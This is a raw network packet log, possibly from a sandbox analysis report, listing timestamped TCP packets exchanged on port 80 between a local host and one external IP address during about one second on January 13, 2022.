Jan 13, 2022 20:51:35.156389952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.156405926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.156423092 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.156547070 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.157152891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.157171011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.157186985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.157202005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.157249928 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.157313108 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.157582998 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.157602072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.157617092 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.157632113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.157655954 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.157705069 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.206931114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.206969976 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.206990957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.207003117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.207022905 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.207118034 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.207159042 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.207287073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.207305908 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.207319021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.207392931 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.207411051 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.211267948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.211297035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.211410999 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.211472988 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.212496042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.212522984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.212542057 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.212570906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.212583065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.212603092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.212663889 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.212702036 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.212888002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.212909937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.212923050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.212939024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.212985039 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.213185072 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.213485956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.213522911 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.213587046 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.213644981 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.262782097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.262814045 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.262836933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.262861013 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.262959003 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.262985945 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.263011932 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.264946938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.264966011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.265048981 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.266230106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.266252995 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.266307116 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.268579960 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.268719912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.268754005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.268767118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.268829107 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.274135113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.319581985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.319613934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.319642067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.319662094 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.319679022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.319717884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.319751024 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.319762945 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.321378946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.321405888 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.321490049 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.322267056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.322309017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.322415113 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.323569059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.323594093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.323618889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.323643923 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.323710918 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.323757887 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.374577999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.374612093 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.374633074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.374654055 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.374675035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.374691010 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.374696016 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.374716997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.374723911 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.374737978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.374754906 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.374799013 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.376336098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.376358032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.376416922 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.385327101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.385355949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.385384083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.385442019 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.385473013 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.385567904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.385843039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.385886908 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.385951042 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.431914091 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.431987047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.432034016 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.432081938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.432113886 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.432128906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.432163000 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.432168007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.432216883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.432235003 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.432269096 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.432317972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.432332993 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.432356119 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.432399988 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.440427065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.440457106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.440473080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.440490961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.440566063 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.440594912 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.441042900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.441066027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.441085100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.441142082 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.491756916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.491780996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.491797924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.491815090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.492136002 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.492167950 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.500893116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.500921965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.500957012 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.500973940 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.501072884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.501137018 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.504034042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.504055977 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.504069090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.504086018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.504122019 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.504153013 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.504492044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.504544973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.504561901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.504596949 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.504606009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.504641056 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.548649073 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.550618887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.550648928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.550673962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.550695896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.550726891 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.550764084 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.554596901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.554653883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.554732084 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.560511112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.560556889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.560601950 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.560643911 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.560679913 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.560709000 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.567181110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.567245007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.567318916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.567498922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.567553997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.567636967 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.568250895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.568499088 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.568579912 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.603192091 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.603245020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.603358984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.607670069 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.607717037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.607752085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.607785940 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.607863903 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.607896090 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.609738111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.609769106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.609882116 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.615874052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.615938902 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.615988970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.616034031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.616182089 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.616213083 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.625201941 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.625233889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.625263929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.625289917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.625333071 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.625334978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.625359058 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.625366926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.625426054 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.660064936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.660089970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.660191059 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.663716078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.663743973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.663770914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.663794994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.663842916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.663861036 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.664277077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.664303064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.664345980 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.670909882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.670953989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.670985937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.671019077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.671046019 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.671075106 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.680052042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.680104017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.680161953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.680179119 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.680222034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.680270910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.680735111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.680819035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.680882931 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.714696884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.714718103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.714835882 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.718846083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.718894958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.718913078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.718929052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.718990088 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.719023943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.721498966 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.721528053 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.721628904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.725908995 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.725975037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.725999117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.726057053 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.726084948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.726213932 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.735171080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.735204935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.735235929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.735258102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.735296965 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.735332012 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.737207890 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.737226963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.737242937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.737348080 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.771091938 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.771123886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.771167040 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.773566961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.773598909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.773623943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.773648977 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.773653984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.773693085 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.781948090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.781979084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.782042027 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.782515049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.782629013 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.782628059 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.782649994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.782669067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.782704115 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.790884018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.790913105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.790936947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.790960073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.790973902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.791003942 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.791989088 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.792015076 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.792038918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.792057991 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.792167902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.825879097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.828438044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.828488111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.828516006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.828536034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.828540087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.828613043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.838675976 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.838721037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.838749886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.838768959 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.838779926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.838916063 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.838972092 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.839015007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.839050055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.845630884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.845716953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.845721960 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.845794916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.845890999 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.845922947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.847178936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.847279072 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.847280979 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.847342968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.847408056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.847434998 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.883104086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.883162022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.883200884 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.883229017 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.883243084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.883260965 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.883282900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.883339882 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.895730972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.895780087 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.895814896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.895852089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.895886898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.895920038 CET	49845	80	192.168.2.5	45.135.233.182
